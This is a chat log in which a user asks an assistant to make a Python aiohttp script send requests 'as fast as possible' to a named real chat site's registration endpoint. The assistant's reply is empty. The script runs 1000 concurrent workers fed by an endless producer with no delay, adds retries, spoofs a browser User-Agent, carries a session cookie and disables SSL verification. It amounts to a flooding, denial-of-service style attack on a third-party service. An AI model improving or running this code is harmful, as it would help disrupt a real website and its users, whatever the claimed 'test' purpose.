make this script more powerful and be able to send requests as fast as possible in a…
- User
make this script more powerful and be able to send requests as fast as possible in a loop in python for a test
import asyncio import aiohttp import time from aiohttp import ClientSession, ClientConnectorError, ClientResponseError
Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/130.0.0.0 Safari/537.36", "Cookie": "PHPSESSID=a0egur4jmuetnvdktqmbkphhst; domain=furrychat.net; path=/" } CONCURRENCY = 1000 # Increased concurrency limit TIMEOUT = aiohttp.ClientTimeout(total=5) RETRY_LIMIT = 3 # Number of retries for failed requests QUEUE_SIZE = 5000 # Maximum number of pending requests in the queue REPORT_INTERVAL = 5 # Seconds between performance reports
Counters for monitoring
success_count = 0 failure_count = 0
async def send_request(session: ClientSession, request_id: int): global success_count, failure_count for attempt in range(1, RETRY_LIMIT + 1): try: async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response: if response.status == 200: success_count += 1 else: failure_count += 1 print(f"[Request {request_id}] Failed with status: {response.status}") break # Exit the retry loop if successful except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError) as e: failure_count += 1 print(f"[Request {request_id}] Error on attempt {attempt}: {e}") if attempt < RETRY_LIMIT: await asyncio.sleep(0.1) # Brief pause before retrying else: print(f"[Request {request_id}] Failed after {RETRY_LIMIT} attempts.")
async def worker(name: int, session: ClientSession, queue: asyncio.Queue): while True: request_id = await queue.get() if request_id is None: queue.task_done() break await send_request(session, request_id) queue.task_done()
async def producer(queue: asyncio.Queue): request_id = 0 while True: request_id += 1 await queue.put(request_id) # No sleep to maximize throughput
async def report(): while True: await asyncio.sleep(REPORT_INTERVAL) print(f"[Report] Success: {success_count}, Failure: {failure_count}")
async def main(): global success_count, failure_count semaphore = asyncio.Semaphore(CONCURRENCY) connector = aiohttp.TCPConnector( limit=CONCURRENCY, ssl=False, # Set to True if SSL verification is needed keepalive_timeout=30 ) async with aiohttp.ClientSession(connector=connector) as session: queue = asyncio.Queue(maxsize=QUEUE_SIZE)
# Start worker tasks workers = [ asyncio.create_task(worker(i, session, queue)) for i in range(CONCURRENCY) ] # Start producer task producer_task = asyncio.create_task(producer(queue)) # Start reporting task reporter = asyncio.create_task(report()) try: await asyncio.gather(producer_task) except asyncio.CancelledError: pass finally: # Stop producer producer_task.cancel() # Wait until the queue is fully processed await queue.join() # Stop workers for _ in workers: await queue.put(None) await asyncio.gather(*workers, return_exceptions=True) # Stop reporter reporter.cancel() try: await reporter except asyncio.CancelledError: pass - Assistant